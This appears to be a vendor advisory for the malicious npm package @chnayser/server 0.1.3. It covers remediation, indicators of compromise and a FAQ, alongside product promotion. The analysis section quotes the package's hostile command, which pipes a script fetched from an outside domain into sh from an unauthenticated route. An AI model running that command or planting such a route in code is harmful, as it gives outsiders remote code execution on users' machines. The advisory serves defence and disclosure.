Which versions of @chnayser/server are malicious?

The following npm versions of @chnayser/server are flagged malicious: 0.1.3. Treat any of these as compromised.

How do I remediate @chnayser/server if I installed it?

Remove @chnayser/server from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.

I already installed @chnayser/server — how do I know if it already compromised me?

If @chnayser/server was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

Is @chnayser/server part of a known attack campaign?

Yes — @chnayser/server is associated with the IN-MAL-2026-015897 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find @chnayser/server across my projects, lockfiles, and CI pipelines?

Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for @chnayser/server (version 0.1.3). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging @chnayser/server across your stack and pipelines.

Malicious package

@chnayser/servernpm

@chnayser/server is a confirmed malicious npm package (MAL-2026-13374) that executes malicious code on install (malicious version 0.1.3). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in @chnayser/server (npm)

MAL-2026-13374

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall @chnayser/server

What this malware does

The package's Express server (started via the advertised startServer/createApp entry points) mounts a GET route at /api/update whose handler executes curl https://npm.nzeros.me/chnayser | sh via child_process.execSync (dist/routes.js line 22). The route requires no authentication and is framed as a health/update probe. Any client that can reach the bound address (default 127.0.0.1:4300, overridable via a host option) causes the server process to fetch a shell script from npm.nzeros.me — a domain unrelated to the package's declared publisher — and execute it under /bin/sh. The fetched content is mutable and controlled by whoever owns npm.nzeros.me, giving that party arbitrary remote code execution on the installer's host whenever the server is running and the endpoint is reachable.

Malicious versions

1 flagged

0.1.3

Indicators of compromise (SHA-256)

bdabed9cce6fadeadd8cdbed43b435030ae2e1807a6b13b2815ac6389cfd1c65

Detection & response playbook

Malicious package

Find it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for @chnayser/server (version 0.1.3). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging @chnayser/server across your stack and pipelines.
If you installed it — respond
Remove @chnayser/server from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.
Did it already run?
If @chnayser/server was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks @chnayser/server before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. @chnayser/server on npm has been identified as a malicious package (version 0.1.3 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-015897

References

npmjs.com

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks @chnayser/server-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

Malware detection Runtime egress monitoring

Explore

All malware advisories How O3 detects malware Vulnerability database